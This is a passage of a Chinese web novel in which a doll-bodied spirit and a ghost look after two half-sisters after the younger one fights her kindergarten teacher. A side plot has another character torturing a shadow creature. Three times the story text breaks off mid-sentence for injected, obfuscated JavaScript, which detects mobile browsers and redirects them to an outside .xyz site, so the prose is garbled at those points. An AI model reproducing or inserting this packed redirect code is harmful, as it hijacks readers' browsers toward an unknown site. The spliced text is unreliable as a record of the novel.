陶方奕真的一点都不好奇闻人傅的情况到底为什么复杂,说好的会特意拍照片分享给父母,然后夸他好孩子呢? 所以说无论是乖孩子还是怪孩子,都不如他手机里那群奇形怪状的摇滚歌手吗?! 该死的!他如今的外形难道不比那群歌手更有个性吗?! …… “你以为他在乎你?其实他谁都不在乎。”亡阴恻恻地对李瑶说,“无论是你,还是你的妹妹,他转头就能忘。” 李瑶不明白:“你心情不好吗?”亡从她回来开始就一直在念叨这个。 坐在一旁的陶方奕也抬头看向亡。 “呀~看看你装无辜的样子。”亡伸手挑了下陶方奕的下巴,当然,陶方奕并没有下巴这个部位,所以亡勾了一下陶方奕头和身子的连接处。 “你很介意我说你有些烦人吗?”陶方奕问他。 “我一点都不介意啊~”亡冲着李瑶摆了摆手,“对了,你去帮我拿一瓶饮料吧。” 李瑶没有动弹,她看向桌上那一排饮料:“可是你一口都没有喝啊。”她已经来回拿了十几趟了。 “因为我是个鬼啊~”亡终于笑了,“我压根喝不了。” 李瑶:“那你为什么让我拿?” “人生就是这么荒唐的,谁让你投胎转世做人了呢。”亡的笑容扩大了,他很明显感受到了愉悦。 李瑶:“……你居然欺负十几岁的女生。” 亡:“不是欺负,是让你明白这个世界的残酷。” “你就是单纯的不高兴,然后折磨我吧。”李瑶完全没被说服,“好刻薄。” 亡没有反驳,他笑得很开心。 陶方奕抬头看向李瑶。 虽然李瑶语气里有无奈,但那份无所适从的感觉已经消失了。 “什么时候能把我的天眼收回去啊?”李瑶询问陶方奕,“我真的不想被这个厉鬼骗着当童工。” 陶方奕重重地叹一口气:“只怕会很困难哦,你开天眼是因为我的一部分身体,你的天眼可能得等我完成任务离开的时候才会关上。” “这也太过分了吧!”李瑶捂住自己的脸。 关天眼哪有那么复杂啊? 亡没法皱眉,他只能歪一下头表达自己的疑惑。 这不是顺手的事吗? 陶方奕抬手摆了摆,示意亡不要多说。 【这个孩子从遇到那个厉鬼的那天开始就变了呢。】陶方奕传音给亡,【她其实很高兴接触到我们的世界。】 李瑶痛苦于自己的无力,她对这个陌生的环境无所适从。 可陶方奕和亡的存在成了这个陌生环境里独属于她的秘密。 李瑶的母亲和继父都是“有着自己故事的大人”,他们活得更久,经历得更多。只有13岁的李瑶不可能完全共情他们的选择。 她一直都是惶恐的。 但如今她也有了大人完全无法理解的秘密。 这个老旧的房子就像是通往“秘密基地”的破纸箱,穿过这个纸箱之后就是另一个世界,只有自己知道的世界。 这里有属于另一个世界的冒险,惊险刺激,有趣又滑稽。 其实李瑶是有一点小骄傲的,她知道了自己曾经是狐妖,虽然上辈子的身份没法带来这辈子,而且上辈子的故事有一点滑稽,可她曾经是狐妖诶,传说中的狐妖诶。 一些脱离现实的小幻想慢慢挤进了她的脑袋里。 这种积极的情绪也影响到了家里的两个大人,他们察觉到李瑶没有那么紧绷了,他们对待李瑶时也能更放松一些。 而大人更轻松的态度也同样反馈到了李瑶身上。 这是一个正向的循环。 没必要让这一切提前结束。 陶方奕跟亡解释。 亡撑着脑袋,忍不住啧了一声。 所以陶方奕这个骗子娃娃就假装遇到了困难,让天眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710440|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在的时间延长了啊。 莫名的,亡想到了自己情绪崩溃那天陶方奕假装被自己打败的样子。 明明那么厉害一个人,偏偏能接受这种扮演弱者的游戏。 “我想要饮料。”亡不高兴了,他试图欺负小孩。 “我不会再上你的当了。”李瑶眯着眼睛看他。 亡挪开自己的脸。 他果然讨厌小孩,就因为接触到非人类的世界就开始沾沾自喜?觉得自己掌握了什么大秘密?以为自己是谁?自我意识过剩了吧。 【不管你在想什么,不要说出来哦。】陶方奕提醒他。 在陶方奕心里他到底是个什么形象啊?他至于生一个小孩的气吗? 亡完全忽略了自己刚才还在讨厌那个孩子。 “要辛苦你一直看到厉鬼了。”陶方奕拍了拍李瑶的手。 “啊!作为补偿!正好趁着家里其他人不在,我们点个外卖吃一顿好的吧。”陶方奕掏出手机,“我请客。” 李瑶很震惊:“你手上有钱吗?” “我也是拿工资的大人啊。”陶方奕点开外卖软件,“我能把外卖餐盒处理得干干净净,不用担心被发现!” 今天杨红玲和那个继父都去上夜班了。 杨红玲只是一个工厂的小主管,他们工厂最近接到了一个大单,订单量大,交货时间短,而那位继父是一位负责快递配送的司机,本来就经常上夜班。 任欣馨上的幼儿园是提供24小时托管服务的,只不过得多交一些钱。 现在家里只有李瑶一个人。 “只要不让外卖员把快递送到楼上来就不用担心被邻居发现了!”陶方奕说道,“我有固定地址,让人送到那边去,然后我再用术法把外卖传送过来!” “那我要吃清蒸石斑鱼,要红东星斑。”亡举手。 “你不是吃不了吗?”李瑶问他。 亡:…… 啊,自信起来的小孩怎么总说话啊?果然还是自卑的小孩好,起码安静。 陶方奕怀疑亡是故意挑贵的点的,不过他没有拆穿,还是假装什么都不知道,开始搜索亡点的那道菜。 咚咚咚,门忽然被敲响了。 亡和陶方奕同时警惕了起来,陶方奕收起手机。 “我没闻到鬼气,亡你呢?”陶方奕有点担心又出意外。 “没闻到。”亡伸手拦在李瑶面前,“不过这不代表没危险,这个点不管外面是人是鬼都很危险。” “真是的,让一个13岁的小孩一个人待在家算什么?” 咚咚咚,那个人继续敲门。 陶方奕忽然咦了一声,他感受到了任务对象的气息:“是欣馨?” “他们回来了吗?”李瑶迅速起身去开门。 在她开门的同时,隔壁的门也打开了。 邻居的阿姨看了一眼李瑶和门口站着的任欣馨,她笑着打了声招呼,又问任欣馨的妈妈是不是在后面。 任欣馨嗯了一声,那个阿姨便笑了笑,关门回去了。 “妈妈下班了吗?”李瑶看向楼梯间。 任欣馨:“……没有。” 李瑶:“啊?” 任欣馨背着书包,埋头跨入房间。 “你怎……”李瑶话没说完,一扭头就看到了任欣馨胳膊上的淤青。 走廊里的灯光很昏暗,李瑶压根没注意到任欣馨身上的伤。 任欣馨的头发也有些乱了,她一脸严肃地站在鞋柜旁,手紧紧攥着自己的书包背带。 “你,你怎么搞的?!”李瑶吓了一跳。 眼泪从任欣馨眼中滑落:“我打架了。” “啊?”李瑶很震惊。 陶方奕和亡也发出了震惊的声音,只不过他们的声音没人听得到。 李瑶连忙关上家门:“打架?你不是在幼儿园睡觉吗?” 任欣馨撇了一下嘴,可表情依旧倔强:“就是在幼儿园里打的。” 李瑶缓了一会儿:“等等,你为什么能从幼儿园里跑出来?这一路没有人送你?你跟小孩打架为什么胳膊全都青了?” “不是跟小孩。”任欣馨握紧拳头,“是跟老师。” 李瑶脑袋彻底宕机。 陶方奕想到了一些不好的可能,他急忙用术法检测了一下任欣馨的状况,在发现这孩子确实只是跟人打了一架之后松了口气。 亡双手环胸,靠在了沙发背上:“我欣赏这个孩子。” “我还以为看不到叛逆期的小孩打架斗殴了。”毕竟李瑶的性格压根不会跟人起冲突,亡很失望,他觉得李瑶浪费了叛逆期。 【四岁的小孩怎么可能有叛逆期啊?】陶方奕有点懵。 “谁知道呢,毕竟一般四岁的小孩也不会跟老师打架,她动手了,这说明这个家里还是有战士的啊。”亡很欣慰,他爱看的就是这个。 12.老朋友养得好 任欣馨把书包放在沙发上,随后她打开书包,从里面拿出了一沓钱。 “啊?”李瑶都快忘了自己这是第几次震惊了。 任欣馨却不太满意:“我的学费不止这么点。” “哇哦。”亡睁大了眼睛,“她甚至要回了学费。” 【你让瑶瑶问一问,到底发生了什么。】陶方奕此时只能做个娃娃,他心里焦急却无可奈何。 亡戳了戳震惊中的李瑶:“你让她描述一下全过程呗。” 李瑶缓过神,她坐到自己这位同母异父的妹妹身边,尽量让自己的声音轻一些:“你为什么要跟老师打架?” 任欣馨很愤怒:“她讨嫌!” 之后任欣馨愤怒地讲述了这件事的来龙去脉。 起因并不是什么不得了的大事,只是幼儿园一个孩子带的零食被吃光了,那个孩子一直在哭。 一群孩子都在安慰那个小孩,任欣馨没有。 后来不知怎么的,有小孩起哄说是任欣馨干的,任欣馨生气了,就和那几个小孩打了起来。 “所以她是先打完小孩再打的老师?”亡很惊喜,“我喜欢这个孩子!” 亡脖子上传来了拉扯感。 亡啧了一声,闭上了嘴。 总之,故事到这里都还只是小孩子之间的矛盾。 幼儿园的寝室是有监控的,毕竟这群孩子还小,总会出各式各样的状况。 可后来老师的处理却出了问题,一群小孩打起来之后,老师只批评了任欣馨。 “我不喜欢那个人,我不想安慰他!”任欣馨说到这儿的时候还是很愤怒,“其他人说我偷了东西!我没偷!但老师让我道歉!” 老师以“是任欣馨先动的手”为理由让任欣馨道歉,任欣馨拒绝了。 随后老师又问她能不能接受和那群孩子和好。 那群孩子同意了老师的建议,可任欣馨还是拒绝了。 老师又表示任欣馨今天也带了小零食过来,又问她愿不愿意分享自己的食物给那个哭了好半天的小朋友。 老师说这个话的时候已经拿起了任欣馨的小书包,任欣馨有些急。 “我不喜欢那个人!我不要把我的零食给他。”任欣馨生气的时候声音比较尖锐。 “好好好,不给。”李瑶捏着任欣馨胳膊仔细瞧,上面青青紫紫的看起来格外吓人,“那老师为什么要打你?” “她说我玩玩。”任欣馨重重地哼了一声。 “玩玩?”亡没听明白。 【可能是“顽固”。】陶方奕解释。 “她说我不群。”任欣馨继续说。 陶方奕继续翻译:【不合群。】 “然后她让我站在外面,我不愿意,她就拽我!她拽我衣服!”任欣馨扯了扯自己的后衣领,“她把我拉到门外面,我咬她了。” 之后那个老师也愤怒了,她一开始想打任欣馨的手心,可任欣馨死死攥着拳,那个老师一伸手她就张嘴。 再然后那个老师就彻底被激怒了,而任欣馨也不是个会被成年人的愤怒恐吓住的小孩,她居然在极端劣势的情况下和老师对打了起来。 当然,估计真正被揍的只有任欣馨。 战斗的结局就是那个老师骂了任欣馨一通,让任欣馨滚,任欣馨收拾自己的东西,背上自己的书包就要走。 走到一半她又觉得不对,又背着书包回去,让老师把学费还给她。 “那个老师真的就把你一个小孩赶出幼儿园了?!”李瑶有些愤怒。 任欣馨点头。 “不太可能啊,对方就不怕家长追责吗?”亡觉得不对劲。 “但是幼儿园大门没开,我是爬出去的。”任欣馨又说。 亡:“……这就合理了。”估计那个老师是想让任欣馨待在小院子里,吓一吓任欣馨,毕竟天已经黑了。 结果对方也没想到,任欣馨还是找到了跑路的方法,就这么翻墙跑回了家。 也幸好路上没有遇见什么坏人,不然后果不堪设想。 李瑶在大人的房间翻出了跌打损伤药,她认真给任欣馨上了药。 期间任欣馨不哭不闹,看起来还在生气。 “你胆子也太大了。”李瑶说,“这么晚了还敢一个人跑回家。” “我不喜欢他们。”任欣馨胆子其实不大,只是这一路她都在生气。 “我给妈妈打个电话。”这种事情最好还是让大人来处理。 任欣馨忽然伸手抓住了李瑶的衣服。 李瑶动作顿住。 刚才还在生气的任欣馨睁大了眼睛,喉咙里发出哼哼唧唧的声音。 “怎么了?”李瑶问她。 任欣馨靠得更近了些:“爸爸妈妈在上班。” “可是你被那个老师打成这样了!”现在轮到李瑶生气了,“无论如何,那个老师不应该对一个四岁的小孩动手!这是虐待!” “但是……但是……”任欣馨一下子变得支支吾吾了。 李瑶看得出来,任欣馨在害怕。 李瑶和任欣馨对视,亡在一旁分析任欣馨的行为,不过任欣馨听不到。 “我捋了一下,所以在这个孩子并没有偷窃别人物品的前提下,这个孩子先是被栽赃,再被针对?”亡很讨厌这样。 【这个孩子先动手打了其他小孩。】陶方奕说。 “因为她被误会了!”亡猛地转向陶方奕,“你知道什么是误会吗?!” 【我知道,你先别那么激动。】陶方奕安抚亡,【的确是那个老师的问题,我只是说她先揍那些孩子这个行为起了个推动作用。】 “推动作用?!可她被冤枉了!是那群邪恶孩子的错,还有那个混蛋老师!”亡完全不认同陶方奕,“你不觉得你这么指责一个孩子会伤那个孩子的心吗?” 【我没有指责她,她听不到我说话。】陶方奕解释,【还有,那群孩子不一定邪恶,四岁的小孩还在认知世界的阶段。】 “所以他们的坏是最纯粹的。” 【他们可能连好坏的标准都没有,正在经历从无到有的转变。】陶方奕不认同亡的看法。 “噢,所以你替一群欺负了你任务对象的人说话?”亡叉腰问他。 陶方奕安静了一会儿,随后表示:【我没有跟你吵架噢。】 亡的脸都和陶方奕贴在一起了,他俩都是平脸,接触面积还挺大的:“我也没有。” 【哦……】陶方奕沉默了。 “说出你在想什么。”亡的声音轻了一些,像是在蛊惑谁。 【我的观念可能和你有些冲突,但我对你本人没有意见。】陶方奕想要推开亡,但是现在小孩在这儿,陶方奕担心自己被看到,【也请你不要把这个话题上升到我的身上来。】 “我不喜欢你这种过度理智的样子。”亡总觉得陶方奕有时候平淡的语气让人窝火。 【这我也没有办法。】陶方奕的性格就是这样。 亡往后退,他盯着陶方奕可爱的娃娃表情看了一会儿:“你知道吗?你这样的人容易吸引一些变态。” 陶方奕不知道,而且陶方奕觉得自己吸引不到任何人:【我是第十九层的人,我大概率吸引不到变态,还会因为走在路上吓到人而被人挂在论坛上。】 亡:…… “但总有人会想撕开你这冷静的外皮,窥探你崩溃的样子。”亡恶狠狠道。 【所以你想看吗?】陶方奕问他。 亡预感到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721503|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了陶方奕接下来可能会做的事,连忙出声:“不准故意表演崩溃来哄我!” 【好吧。】陶方奕本来都想好剧本了。 “我会亲手把你变成那样的。”亡很期待自己彻底激发出陶方奕情绪的那一天。 【哇!】陶方奕很给面子。 “我不需要你捧哏。”亡又说,“你就不能表现得愤怒一点吗?” 陶方奕用怒音喊出了一声【哇】。 亡被这突如其来的声音吓得一激灵,再看陶方奕,他依旧是那个面上带笑,表情可爱的娃娃。 陶方奕表演出来的愤怒只是在开朗地大喊大叫而已。 任欣馨拽着李瑶的手不让她打电话,她在恐惧。 陶方奕估计在那场打斗中老师还对任欣馨说了些什么,大人想要威胁恐吓一个小孩实在太容易了。 李瑶试图跟任欣馨讲道理,现在这种时候必须大人出面。 任欣馨拽着李瑶的胳膊不肯放手。 亡听到了尖尖细细的声音,果然,没过多久任欣馨的嘴里就溢出了开水壶尖叫。 “你到底为什么不愿意告诉妈妈?” “就是不能告诉妈妈!”任欣馨急哭了。 “你大晚上一个人跑回来,你这种情况报警都不为过。”李瑶语气严肃,“你不用害怕,是那个老师有问题,妈妈他们知道的。” 任欣馨急得狠了,边掉眼泪边嘟嘟囔囔不知道在说些什么。 眼看李瑶开始按手机,任欣馨忽然大喊了一句:“你又没有爸爸妈妈!你怎么知道?!” 李瑶愣住了。 陶方奕没法动,也没法表现自己的惊诧,而亡伸手捂住了嘴。 任欣馨反应过来自己说错了话,她抓着李瑶袖子的手缓缓松开。 可任欣馨没有道歉,她只是从紧张地盯着手机变成了盯一会儿手机盯一会儿李瑶。 亡立刻就不欣赏任欣馨了:“你抽这小孩一顿。” 李瑶沉默着站起身:“你说得对,我没有爸爸和妈妈。” 亡退到沙发那儿戳了戳陶方奕,紧急求援,他不擅长应付这种状况。 可陶方奕现在依旧没法动弹。 “这里也不是我家。”李瑶继续说,“你也轮不到我管。” “我还是会联系你妈妈,不管你乐不乐意。”李瑶往门口的方向走了两步,似乎是想离开,亡晃到了门口,什么都没说,靠着门就蹲下了。 大半夜的,放一个十二岁的小孩出去乱跑也太危险了。 “现在我应该怎么办?!”亡询问陶方奕。 【你给瑶瑶一个拥抱,然后先安抚大孩子的情绪,暂时隔开两个孩子,一定要让瑶瑶哭出来,但是一开始不要谈她的父母。】 陶方奕开始传授经验:【你让她待在自己的房间里,咱们刚才那顿饭不是没吃上嘛,你可以先聊那个,之后聊到正题的时候不要把错误归结到欣馨身上,也别归结到她妈妈身上,无论如何,他们未来都是要一起生活的。】 亡:…… 陶方奕:【好了,现在开始安慰吧。】 亡这次也用上了传音:【感觉好烦,想把这屋子里所有人都杀了。】都死了就没矛盾了。 陶方奕:? 陶方奕现在拿不到自己的手机,不然他一定会第一时间搜索三胎家庭要怎么平衡孩子们之间的关系。 别人到底是怎么把孩子养得那么好的? 陶方奕此时又想起了那个笑容灿烂的闻人傅。 再看看面前的亡,亡整张脸上只有一个大得出奇的嘴,而且一碰就呲牙张嘴。 像个疯狂的翻盖垃圾桶,一踩就翻盖。 好羡慕自己的老朋友啊,看看人家那个小孩养的。 13.好孩子 陶方奕被任欣馨搂在怀里,任欣馨坐在沙发上,无所适从。 而李瑶被亡领进她自己的房间了,亡答应过陶方奕会好好安抚李瑶,但陶方奕有些担心。 亡真的能做好引导作用吗? 应该可以吧,起码亡是个大人。 房间里,亡双手环胸,靠在门上:“我要是你我就揍那小孩一顿。” 李瑶只是沉默。 “虽然她是水牛转世,但她只有四岁,只是比同龄的小孩力气大点而已,你还是打得过她的,如果你实在担心,那就拿上武器揍她。”亡给李瑶提建议。 李瑶还是没有说话。 “你自己一个人生气,除了气坏自己的身体以外什么作用都没有,你应该让那个孩子去生气。”亡建议道,“喏,你房间里不是有羽毛球拍吗?抽那小崽子!” 李瑶抬头看向亡,只不过她还没开口,就听到了客厅门打开的声音。 一道愤怒的男声传来:“任欣馨!!” 李瑶一惊。 亡走到门口,他往前探身,脑袋穿透了房门,看到了客厅里的景象。 气喘吁吁的中年男人怒目圆睁,他的头上身上都是汗,有可能是急出来的。 沙发上的任欣馨把娃娃抱得更紧。 男人鞋都没来得及换,他看到了任欣馨胳膊上青紫的伤,急得大步走向任欣馨:“你把胳膊伸出来!” 任欣馨搂着娃娃往后缩了缩:“我没事。” “你把胳膊伸出来!” 任欣馨没有动,男人直接单手抓着任欣馨的衣服把任欣馨拎了起来。 任欣馨倒是没有挣扎,她僵住了。 “你怎么搞的?!”男人的声音很大,“你自己一个人跑回来了?!” 任欣馨嘴唇颤抖,眼泪掉了下来。 男人有些手足无措,但他依旧拎着自己的女儿没有放下。 亡把脑袋收回去:“完了,让你拖延,她爸来了。” 李瑶抿唇坐了一会儿,随后她站起身。 “提前声明,我不帮你打架,跟普通人打架我嫌掉价。”亡说完之后又觉得现在李瑶心情不好,自己不能这么绝对,“不过我可以帮你摁着她爸,你和她单挑。” 李瑶没搭理他,反而推门对着男人喊了一声:“任叔叔,我知道怎么回事。” 拎着任欣馨的男人在看到李瑶之后表现得有些尴尬,他呃啊了半天,又用没拎孩子的那只手抠抠头又搓搓自己的后脖颈,做了好一会儿假动作。 最后俩人面对面坐下了。 李瑶本来想给自己拿个小凳子过来,结果男人自己拿了个凳子坐到了沙发对面。 这段时间李瑶和男人基本没有沟通,他们俩基本是通过杨红玲去了解对方的情况的。 李瑶本来也只通知了杨红玲,但是杨红玲抽不开身,就让男人回来了一趟。 李瑶把事情的前因后果完整地讲述了一遍,男人越听越愤怒,而在得知那个老师居然把任欣馨扔出宿舍后,男人再也忍不住了,他大骂出声。 只不过脏话说了一半,他意识到自己面前还有个刚认识自己不久的小孩,男人又静音了。 “他说话总这么咋咋呼呼吗?”亡注意到这个男人的眼睛很大。 其实这种大眼睛单看还蛮漂亮的,眼睛大,睫毛长。 任欣馨的眼睛和她爸一模一样,无论谁看到任欣馨,总会夸这孩子长得好。 只不过任欣馨的爸爸是个标准的国字脸,皮肤黝黑,块头有些大,这眼睛在他身上只能起到震慑作用。 男人生气的时候眼睛会瞪得更大,看起来随时都会揍人。 他大概也知道自己吓人,所以更拘谨了。 李瑶看了眼旁边紧张的任欣馨。 任欣馨也在紧张地盯着她。 李瑶没有那么生气了,一是她知道任欣馨大概率是急了才会蹦出那么一句话,二是李瑶有点被亡吓到了。 李瑶本来只想独自忧伤一会儿,但亡压根没给她个人时间。 亡理解李瑶想死,亡只是不建议李瑶用玄学的方式把自己折腾死。如果李瑶在死之前能把这一家人都带走,那么亡会敬佩李瑶是个豪杰。 “殴打这位同母异父的妹妹”这个提议都是亡在做出巨大让步之后提出的。 亡一直在强调李瑶的痛苦,引导她将痛苦抒发出来。 李瑶反而被亡给折腾得没脾气了。 毕竟一个四岁小孩的话怎么也上升不到那种高度。 【瑶瑶看起来没那么难过了。】陶方奕给亡传音,【你真的好好安慰了她。】 “我的安慰根本没起作用。”毕竟这小崽子一直假装听不懂自己在说什么。 【这孩子应该听进去了。】陶方奕安抚亡。 是吗?亡看了眼李瑶。 可是李瑶压根就没有战斗啊。 【我原来还担心你做不到,是我低估你了。】陶方奕感叹,【你其实是个很温柔的厉鬼。】 是吗? 亡往后缩了下脖子。 他很温柔吗? 陶方奕继续:【你很强大哦。】 “我确实很强大。”亡确定了,陶方奕夸的就是他。 温柔?那可能是长期应付那些非人类老头老太太而锻炼出来的技能吧。 啧,他跟“温柔”二字一点都不适配。 这是他被迫拥有的优点。 “唉,我怎么能温柔成这样?”亡有些愁,他不太喜欢自己身上多出温柔这一特质,这样会削减他身上的恐怖感。 李瑶没有绷住,她扭头看向了亡的方向,一脸震惊。 温柔?谁? 刚才亡可是提议她把这一家三口都干掉的。 他能跟温柔沾上一点边吗?! “谁让你大晚上翻围栏跑出来的?!”男人重新抓住了任欣馨。 当然,他这次没抓任欣馨的手腕,他抓的是任欣馨怀里的娃娃,也就是陶方奕。 陶方奕整个脑袋都被男人的大手给揪住了。 只有一个倒三角的嘴巴露在外面,他看起来还在笑。 李瑶忍不住“啊”了一声。 “你知道你一个人在外面跑有多危险吗?!”男人质问任欣馨,“你被人拐走了怎么办?!”男人揪着娃娃把任欣馨给拉了过来。 任欣馨拽着娃娃往后退。 他们父女在对抗。 此时陶方奕成了他们拔河用的那根绳子。 “你还好吗?”亡问他。 【我质量很好的。】两个普通人类还不至于让他觉得疼,【不过我觉得我要洗一洗了,这位先生的手刚刚可能搬运过快递,稍微有点脏。】 任欣馨张嘴想要去啃男人,男人连忙松手。 刚刚被一把攥住的陶方奕也总算恢复了。 他的脸上印着一个大大的黑手印。 【我看起来怎么样?】陶方奕询问亡。 “你的脸上多了个图腾。”亡指了指自己脑袋的上半部分,“是个手印,很有风格,哦对了,人类的手印不是圆的。” 陶方奕:【……我知道,我以前的手印也不是圆的。】 亡很震惊。 不是圆的?!难不成陶方奕以前很写实吗? “你以前有几根手指?” 【五根。】 “哇哦!” 【请不要为这种事感到震惊。】这也太奇怪了,而且亡以前不是还扒拉过他的裤子看过吗? 虽然现在这个身体没有长某个部位,但亡也知道他本体是有的。 谁会在拥有那个部位的同时连五根手指都没有? 陶方奕不知道,此时已经下班并且显得无聊的闻人傅正在绘制他的本体图。 闻人傅把陶方奕如今这个形态画在了纸上,随后皱眉擦去陶方奕的圆手,给他画上骨节分明的人类手部。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722410|173622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嘿嘿嘿。”闻人傅用铅笔点了点画纸上陶方奕的脑壳,“奇怪的娃娃。” 他掏出手机拍了一张照片,随后自己又捧着手机笑了一会儿。 他笑着笑着,声音忽然停下。 陶方奕确实很有趣,但他被陶方奕束缚着,胸中的愤怒发泄不出去啊。 闻人傅扯下自己手上的白色手套。 呜呜呜的声音响起,闻人傅没有看向声音的来源,他脱下了外套和衬衣,换上了更宽松的T恤。 “是你自己跑掉的啊。”闻人傅转身看向角落,那里有一团红黑色的影子在颤抖。 那影子不像是这个世界的生物,他的身影很怪异,眼睛是两个巨大的黑洞,没有嘴唇,而伴随着他的抖动,他身体里有极细的黑线闪烁,有时候黑线还会刺出他的身体,不过那也就是一瞬间的事。 “你假死了啊。”闻人傅蹲在那个红影面前,“抓捕你的人都以为你死了。” “所以你真死了也无所谓吧。”闻人傅想要伸手抚摸那团红影,可红影往墙角处缩了缩。 “我很抱歉,真的。”闻人傅的笑容不变,“如果是过去,我不会冒这种风险,可现在我被监视了,只能由本体来满足自己的欲望,你能理解我吧?” 那团影子没有回应他,可闻人傅的脸却开始泛红了:“谢谢你,你真好。” “你身上有几条人命来着?哦!四条!你真是个宝藏~”闻人傅起身,从腰间抽出短刀,“现在我们开始游戏吧。” 周遭的场景瞬间变成黑白的,闻人傅闭上眼:“你有一分钟的时间去找你的藏身之所……” 红影朝着闻人傅扑来,可在碰触到闻人傅的瞬间就被震开了。 “不要作弊啊。”闻人傅睁开眼,他的眉头微微皱了起来。 红影在颤抖。 闻人傅的笑容和他平常没有两样,依旧是那么温和,似乎下一秒就能问出“我有什么能帮助您的吗”。 “不过我可以原谅你这一次,重新开始计时哦。”闻人傅闭上眼开始数数。 另一边,亡不知为何亢奋了起来。 陶方奕看到亡的脸红了,而且他听到了粗重的喘息声。 任欣馨虽然连话都说不清楚,但她已经和她的爸爸吵起来了。 李瑶有些不知所措。 这位任叔叔到底是怎么做到和四岁的女儿吵架的? 陶方奕等待了一会儿,发现确实没有人注意他,他悄咪咪地望向亡:【你过来,我摸摸你的头。】 “怎么了?”亡有些困惑。 【我担心你的身体出了问题。】陶方奕觉得亡的灵魂开始不稳定了,【你现在感觉怎么样?】 “很开心。”亡诚实道。 【那你把脑袋凑过来,我摸一摸。】陶方奕轻轻动了一下自己的手。 亡思索片刻,随后走上前。 陶方奕被任欣馨搂着,他不能直接把自己的手抬高,只能让亡自己凑上去。 亡低下头试探了一下,发现任欣馨实在太矮了。 他又单膝跪地,把脑袋往陶方奕的圆手上凑。 陶方奕感应了一下:【呼,确实没问题,你是一高兴就会脸红吗?】 “偶尔。”亡抬起头,此时陶方奕的外形还是凌乱的,那个手掌印还留在他的脸上。 李瑶能看到这一幕。 她觉得很奇怪,这个动作怪怪的。 不过亡一直都有点怪怪的。 …… “好温柔啊。”闻人傅躺在血泊里,他刚换的衣服被黑红的鲜血给染脏了。 闻人傅侧身,他搂过血液里那些固态的碎屑。 他现在的精神处于极度亢奋的状态,所有的情绪都被放大。 闻人傅伸出血糊糊的手,模仿着陶方奕的动作揉了揉自己的头,一头银发也被血液给弄脏了。 他模仿完动作之后又乐呵呵地笑了好一会儿:“陶……叔叔~”